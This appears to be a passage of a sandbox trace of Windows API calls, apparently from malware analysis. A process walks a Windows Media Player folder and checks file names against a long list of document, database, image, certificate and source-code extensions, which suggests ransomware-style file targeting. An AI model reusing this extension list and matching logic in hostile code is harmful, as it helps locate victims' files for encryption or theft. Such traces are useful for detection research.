	[0180.495] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0180.495] lstrlenW (lpString=".cdr") returned 4
	[0180.495] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0180.495] lstrlenW (lpString=".cer") returned 4
	[0180.495] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0180.495] lstrlenW (lpString=".cf") returned 3
	[0180.495] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0180.495] lstrlenW (lpString=".cfc") returned 4
	[0180.495] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0180.495] lstrlenW (lpString=".cfm") returned 4
	[0180.495] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0180.495] lstrlenW (lpString=".cfml") returned 5
	[0180.495] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1
	[0180.495] lstrlenW (lpString=".cfu") returned 4
	[0180.495] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0180.495] lstrlenW (lpString=".chm") returned 4
	[0180.495] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0180.495] lstrlenW (lpString=".cin") returned 4
	[0180.495] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0180.495] lstrlenW (lpString=".class") returned 6
	[0180.495] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1
	[0180.495] lstrlenW (lpString=".clx") returned 4
	[0180.496] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0180.496] lstrlenW (lpString=".config") returned 7
	[0180.496] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1
	[0180.496] lstrlenW (lpString=".cpp") returned 4
	[0180.496] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0180.496] lstrlenW (lpString=".cr2") returned 4
	[0180.496] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0180.496] lstrlenW (lpString=".crt") returned 4
	[0180.496] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0180.496] lstrlenW (lpString=".crw") returned 4
	[0180.496] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0180.496] lstrlenW (lpString=".cs") returned 3
	[0180.496] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0180.496] lstrlenW (lpString=".css") returned 4
	[0180.496] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0180.496] lstrlenW (lpString=".csv") returned 4
	[0180.496] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0180.496] lstrlenW (lpString=".cub") returned 4
	[0180.496] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0180.496] lstrlenW (lpString=".dae") returned 4
	[0180.496] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0180.496] lstrlenW (lpString=".dat") returned 4
	[0180.496] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0180.496] lstrlenW (lpString=".db") returned 3
	[0180.496] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0180.496] lstrlenW (lpString=".dbf") returned 4
	[0180.496] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0180.496] lstrlenW (lpString=".dbx") returned 4
	[0180.497] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0180.497] lstrlenW (lpString=".dc3") returned 4
	[0180.497] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0180.497] lstrlenW (lpString=".dcm") returned 4
	[0180.497] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0180.497] lstrlenW (lpString=".dcr") returned 4
	[0180.497] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0180.497] lstrlenW (lpString=".der") returned 4
	[0180.497] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0180.497] lstrlenW (lpString=".dib") returned 4
	[0180.497] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0180.497] lstrlenW (lpString=".dic") returned 4
	[0180.497] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0180.497] lstrlenW (lpString=".dif") returned 4
	[0180.497] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0180.497] lstrlenW (lpString=".divx") returned 5
	[0180.497] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1
	[0180.497] lstrlenW (lpString=".djvu") returned 5
	[0180.497] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1
	[0180.497] lstrlenW (lpString=".dng") returned 4
	[0180.497] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0180.497] lstrlenW (lpString=".doc") returned 4
	[0180.497] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0180.497] lstrlenW (lpString=".docm") returned 5
	[0180.497] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1
	[0180.497] lstrlenW (lpString=".docx") returned 5
	[0180.497] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0180.497] lstrlenW (lpString=".dot") returned 4
	[0180.498] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0180.498] lstrlenW (lpString=".dotm") returned 5
	[0180.498] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1
	[0180.498] lstrlenW (lpString=".dotx") returned 5
	[0180.498] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1
	[0180.498] lstrlenW (lpString=".dpx") returned 4
	[0180.498] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0180.498] lstrlenW (lpString=".dqy") returned 4
	[0180.498] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0180.498] lstrlenW (lpString=".dsn") returned 4
	[0180.498] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0180.498] lstrlenW (lpString=".dt") returned 3
	[0180.498] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0180.498] lstrlenW (lpString=".dtd") returned 4
	[0180.498] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0180.498] lstrlenW (lpString=".dwg") returned 4
	[0180.498] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0180.498] lstrlenW (lpString=".dwt") returned 4
	[0180.498] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0180.498] lstrlenW (lpString=".dx") returned 3
	[0180.498] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0180.498] lstrlenW (lpString=".dxf") returned 4
	[0180.498] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0180.498] lstrlenW (lpString=".edml") returned 5
	[0180.498] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1
	[0180.498] lstrlenW (lpString=".efd") returned 4
	[0180.498] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0180.498] lstrlenW (lpString=".elf") returned 4
	[0180.498] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0180.499] lstrlenW (lpString=".emf") returned 4
	[0180.499] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0180.499] lstrlenW (lpString=".emz") returned 4
	[0180.499] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0180.499] lstrlenW (lpString=".epf") returned 4
	[0180.499] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0180.499] lstrlenW (lpString=".eps") returned 4
	[0180.499] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0180.499] lstrlenW (lpString=".epsf") returned 5
	[0180.499] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1
	[0180.499] lstrlenW (lpString=".epsp") returned 5
	[0180.499] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1
	[0180.499] lstrlenW (lpString=".erf") returned 4
	[0180.499] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0180.499] lstrlenW (lpString=".exr") returned 4
	[0180.499] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0180.499] lstrlenW (lpString=".f4v") returned 4
	[0180.499] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0180.499] lstrlenW (lpString=".fido") returned 5
	[0180.499] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1
	[0180.499] lstrlenW (lpString=".flm") returned 4
	[0180.499] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0180.499] lstrlenW (lpString=".flv") returned 4
	[0180.499] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0180.499] lstrlenW (lpString=".frm") returned 4
	[0180.499] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0180.499] lstrlenW (lpString=".fxg") returned 4
	[0180.499] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0180.499] lstrlenW (lpString=".geo") returned 4
	[0180.500] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0180.500] lstrlenW (lpString=".gif") returned 4
	[0180.500] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0180.500] lstrlenW (lpString=".grs") returned 4
	[0180.500] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0180.500] lstrlenW (lpString=".gz") returned 3
	[0180.500] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0180.500] lstrlenW (lpString=".h") returned 2
	[0180.500] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0180.500] lstrlenW (lpString=".hdr") returned 4
	[0180.500] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0180.500] lstrlenW (lpString=".hpp") returned 4
	[0180.500] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0180.500] lstrlenW (lpString=".hta") returned 4
	[0180.500] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0180.500] lstrlenW (lpString=".htc") returned 4
	[0180.500] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0180.500] lstrlenW (lpString=".htm") returned 4
	[0180.500] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0180.500] lstrlenW (lpString=".html") returned 5
	[0180.500] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1
	[0180.500] lstrlenW (lpString=".icb") returned 4
	[0180.500] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0180.500] lstrlenW (lpString=".ics") returned 4
	[0180.500] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0180.501] lstrlenW (lpString=".iff") returned 4
	[0180.501] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0180.501] lstrlenW (lpString=".inc") returned 4
	[0180.501] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0180.501] lstrlenW (lpString=".indd") returned 5
	[0180.502] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1
	[0180.502] lstrlenW (lpString=".ini") returned 4
	[0180.506] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0180.506] lstrlenW (lpString=".iqy") returned 4
	[0180.506] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0180.506] lstrlenW (lpString=".j2c") returned 4
	[0180.506] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0180.506] lstrlenW (lpString=".j2k") returned 4
	[0180.507] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0180.507] lstrlenW (lpString=".java") returned 5
	[0180.507] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1
	[0180.507] lstrlenW (lpString=".jp2") returned 4
	[0180.507] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0180.507] lstrlenW (lpString=".jpc") returned 4
	[0180.507] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0180.507] lstrlenW (lpString=".jpe") returned 4
	[0180.507] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0180.507] lstrlenW (lpString=".jpeg") returned 5
	[0180.507] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1
	[0180.507] lstrlenW (lpString=".jpf") returned 4
	[0180.507] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0180.507] lstrlenW (lpString=".jpg") returned 4
	[0180.507] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0180.507] lstrlenW (lpString=".jpx") returned 4
	[0180.507] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0180.507] lstrlenW (lpString=".js") returned 3
	[0180.507] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0180.507] lstrlenW (lpString=".jsf") returned 4
	[0180.507] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0180.507] lstrlenW (lpString=".json") returned 5
	[0180.507] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1
	[0180.508] lstrlenW (lpString=".jsp") returned 4
	[0180.508] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0180.508] lstrlenW (lpString=".kdc") returned 4
	[0180.508] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0180.508] lstrlenW (lpString=".kmz") returned 4
	[0180.508] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0180.508] lstrlenW (lpString=".kwm") returned 4
	[0180.508] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0180.508] lstrlenW (lpString=".lasso") returned 6
	[0180.508] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1
	[0180.508] lstrlenW (lpString=".lbi") returned 4
	[0180.508] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0180.508] lstrlenW (lpString=".lgf") returned 4
	[0180.508] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0180.508] lstrlenW (lpString=".lgp") returned 4
	[0180.508] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0180.508] lstrlenW (lpString=".log") returned 4
	[0180.508] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0180.508] lstrlenW (lpString=".m1v") returned 4
	[0180.508] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0180.508] lstrlenW (lpString=".m4a") returned 4
	[0180.508] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0180.508] lstrlenW (lpString=".m4v") returned 4
	[0180.508] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0180.508] lstrlenW (lpString=".max") returned 4
	[0180.508] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0180.508] lstrlenW (lpString=".md") returned 3
	[0180.508] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0180.509] lstrlenW (lpString=".mda") returned 4
	[0180.509] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0180.509] lstrlenW (lpString=".mdb") returned 4
	[0180.509] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0180.509] lstrlenW (lpString=".mde") returned 4
	[0180.509] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0180.509] lstrlenW (lpString=".mdf") returned 4
	[0180.509] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0180.509] lstrlenW (lpString=".mdw") returned 4
	[0180.509] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0180.509] lstrlenW (lpString=".mef") returned 4
	[0180.509] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0180.509] lstrlenW (lpString=".mft") returned 4
	[0180.509] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0180.509] lstrlenW (lpString=".mfw") returned 4
	[0180.509] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0180.509] lstrlenW (lpString=".mht") returned 4
	[0180.509] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0180.509] lstrlenW (lpString=".mhtml") returned 6
	[0180.509] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1
	[0180.509] lstrlenW (lpString=".mka") returned 4
	[0180.509] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0180.509] lstrlenW (lpString=".mkidx") returned 6
	[0180.509] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1
	[0180.509] lstrlenW (lpString=".mkv") returned 4
	[0180.509] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0180.509] lstrlenW (lpString=".mos") returned 4
	[0180.509] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0180.509] lstrlenW (lpString=".mov") returned 4
	[0180.510] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0180.510] lstrlenW (lpString=".mp3") returned 4
	[0180.510] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0180.510] lstrlenW (lpString=".mp4") returned 4
	[0180.510] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0180.510] lstrlenW (lpString=".mpeg") returned 5
	[0180.510] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1
	[0180.510] lstrlenW (lpString=".mpg") returned 4
	[0180.510] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0180.510] lstrlenW (lpString=".mpv") returned 4
	[0180.510] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0180.510] lstrlenW (lpString=".mrw") returned 4
	[0180.510] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0180.510] lstrlenW (lpString=".msg") returned 4
	[0180.510] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0180.510] lstrlenW (lpString=".mxl") returned 4
	[0180.510] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0180.510] lstrlenW (lpString=".myd") returned 4
	[0180.510] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0180.510] lstrlenW (lpString=".myi") returned 4
	[0180.510] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0180.510] lstrlenW (lpString=".nef") returned 4
	[0180.510] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0180.510] lstrlenW (lpString=".nrw") returned 4
	[0180.510] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0180.510] lstrlenW (lpString=".obj") returned 4
	[0180.510] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0180.511] lstrlenW (lpString=".odb") returned 4
	[0180.511] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0180.511] lstrlenW (lpString=".odc") returned 4
	[0180.511] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0180.511] lstrlenW (lpString=".odm") returned 4
	[0180.511] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0180.511] lstrlenW (lpString=".odp") returned 4
	[0180.511] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0180.511] lstrlenW (lpString=".ods") returned 4
	[0180.511] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0180.511] lstrlenW (lpString=".oft") returned 4
	[0180.511] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0180.511] lstrlenW (lpString=".one") returned 4
	[0180.511] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0180.511] lstrlenW (lpString=".onepkg") returned 7
	[0180.511] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1
	[0180.511] lstrlenW (lpString=".onetoc2") returned 8
	[0180.511] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1
	[0180.511] lstrlenW (lpString=".opt") returned 4
	[0180.511] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0180.512] lstrlenW (lpString=".oqy") returned 4
	[0180.512] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0180.512] lstrlenW (lpString=".orf") returned 4
	[0180.512] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0180.512] lstrlenW (lpString=".p12") returned 4
	[0180.512] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0180.512] lstrlenW (lpString=".p7b") returned 4
	[0180.512] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0180.512] lstrlenW (lpString=".p7c") returned 4
	[0180.512] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0180.512] lstrlenW (lpString=".pam") returned 4
	[0180.512] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0180.512] lstrlenW (lpString=".pbm") returned 4
	[0180.512] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0180.512] lstrlenW (lpString=".pct") returned 4
	[0180.512] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0180.512] lstrlenW (lpString=".pcx") returned 4
	[0180.512] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0180.512] lstrlenW (lpString=".pdd") returned 4
	[0180.512] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0180.512] lstrlenW (lpString=".pdf") returned 4
	[0180.512] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0180.512] lstrlenW (lpString=".pdp") returned 4
	[0180.512] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0180.512] lstrlenW (lpString=".pef") returned 4
	[0180.513] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0180.513] lstrlenW (lpString=".pem") returned 4
	[0180.513] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0180.513] lstrlenW (lpString=".pff") returned 4
	[0180.513] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0180.513] lstrlenW (lpString=".pfm") returned 4
	[0180.513] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0180.513] lstrlenW (lpString=".pfx") returned 4
	[0180.513] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0180.513] lstrlenW (lpString=".pgm") returned 4
	[0180.513] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0180.513] lstrlenW (lpString=".php") returned 4
	[0180.513] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0180.513] lstrlenW (lpString=".php3") returned 5
	[0180.513] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1
	[0180.513] lstrlenW (lpString=".php4") returned 5
	[0180.513] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1
	[0180.513] lstrlenW (lpString=".php5") returned 5
	[0180.513] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1
	[0180.513] lstrlenW (lpString=".phtml") returned 6
	[0180.514] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1
	[0180.514] lstrlenW (lpString=".pict") returned 5
	[0180.514] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1
	[0180.514] lstrlenW (lpString=".pl") returned 3
	[0180.514] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0180.514] lstrlenW (lpString=".pls") returned 4
	[0180.514] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0180.514] lstrlenW (lpString=".pm") returned 3
	[0180.514] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0180.514] lstrlenW (lpString=".png") returned 4
	[0180.514] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0180.514] lstrlenW (lpString=".pnm") returned 4
	[0180.514] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0180.514] lstrlenW (lpString=".pot") returned 4
	[0180.514] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0180.514] lstrlenW (lpString=".potm") returned 5
	[0180.514] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1
	[0180.514] lstrlenW (lpString=".potx") returned 5
	[0180.514] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1
	[0180.514] lstrlenW (lpString=".ppa") returned 4
	[0180.514] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0180.514] lstrlenW (lpString=".ppam") returned 5
	[0180.514] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1
	[0180.514] lstrlenW (lpString=".ppm") returned 4
	[0180.514] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0180.515] lstrlenW (lpString=".pps") returned 4
	[0180.515] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0180.515] lstrlenW (lpString=".ppsm") returned 5
	[0180.515] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1
	[0180.515] lstrlenW (lpString=".ppt") returned 4
	[0180.515] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0180.515] lstrlenW (lpString=".pptm") returned 5
	[0180.515] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1
	[0180.515] lstrlenW (lpString=".pptx") returned 5
	[0180.515] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1
	[0180.515] lstrlenW (lpString=".prn") returned 4
	[0180.515] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0180.515] lstrlenW (lpString=".ps") returned 3
	[0180.515] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0180.515] lstrlenW (lpString=".psb") returned 4
	[0180.515] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0180.515] lstrlenW (lpString=".psd") returned 4
	[0180.553] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0180.553] lstrlenW (lpString=".pst") returned 4
	[0180.553] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0180.553] lstrlenW (lpString=".ptx") returned 4
	[0180.553] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0180.553] lstrlenW (lpString=".pub") returned 4
	[0180.553] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0180.553] lstrlenW (lpString=".pwm") returned 4
	[0180.553] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0180.553] lstrlenW (lpString=".pxr") returned 4
	[0180.553] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0180.553] lstrlenW (lpString=".py") returned 3
	[0180.553] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0180.554] lstrlenW (lpString=".qt") returned 3
	[0180.554] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0180.554] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x130c5e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1
	[0180.554] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40aa916a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmlaunch.exe.mui", cAlternateFileName="")) returned 1
	[0180.554] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmplayer.exe.mui", cAlternateFileName="")) returned 1
	[0180.555] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd13924, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WMPMediaSharing.dll.mui", cAlternateFileName="")) returned 1
